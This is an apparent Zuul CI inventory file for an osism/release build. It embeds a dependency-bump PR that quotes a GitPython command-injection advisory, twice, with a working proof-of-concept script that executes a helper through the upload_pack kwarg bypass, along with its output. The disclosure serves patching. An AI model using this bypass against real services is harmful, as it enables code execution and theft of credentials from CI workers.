all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    debian-bookworm:
      ansible_connection: ssh
      ansible_host: 2a13:1a81:8000:3124:f816:3eff:fec5:a6f6
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      nodepool:
        az: nova
        cloud: regiocloud-a-ci
        external_id: 01777dc6-0185-4c9c-9b0d-a692276b65e3
        host_id: df70f2a3f3d0c26428f22685cfc722ebc48099d99e7332c39e017195
        interface_ip: 2a13:1a81:8000:3124:f816:3eff:fec5:a6f6
        label: debian-bookworm
        node_properties: {}
        private_ipv4: 10.128.7.231
        private_ipv6: null
        provider: regiocloud-a
        public_ipv4: 81.163.193.194
        public_ipv6: 2a13:1a81:8000:3124:f816:3eff:fec5:a6f6
        region: null
        slot: null
  vars:
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-config/zuul.d/jobs.yaml@main#2>'
      - '<Job yamllint explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-jobs/.zuul.yaml@main#59>'
      - '<Job yamllint explicit: None implied: None source: osism/release/.zuul.yaml@main#2>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: 33b11ef04ee6406da876c1f2df261009
      build_refs:
      - branch: main
        change: '2468'
        change_message: "chore(deps): update dependency gitpython to v3.1.47 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.46` \u2192 `==3.1.47` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.47?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.46/3.1.47?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
          - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
          Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
          <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
          What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
          Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
          DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
          in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
          Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
          Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
          fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
          in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
          Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
          Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
          Fix `Repo.active_branch` resolution for reftable-backed repositories by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
          in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
          in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
          in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
          Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          Harden commit trailer subprocess handling and align trailer I/O paths by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
          git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
          in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          Make sure that multi-options are checked after splitting them with `shlex`
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
          Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
          New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
          contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
          contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first
          contribution in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
          contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
          first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
          contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/osism/release).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjQzLjE0MS4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/release/pull/2468
        commit_id: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
        patchset: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/release
          name: osism/release
          short_name: release
        src_dir: src/github.com/osism/release
        topic: null
      buildset: 2e8a39330e6e4594ad157f26f7f734b3
      buildset_refs:
      - branch: main
        change: '2468'
        change_message: "chore(deps): update dependency gitpython to v3.1.47 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.46` \u2192 `==3.1.47` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.47?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.46/3.1.47?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
          - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
          Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
          <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
          What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
          Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
          DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
          in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
          Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
          Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
          fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
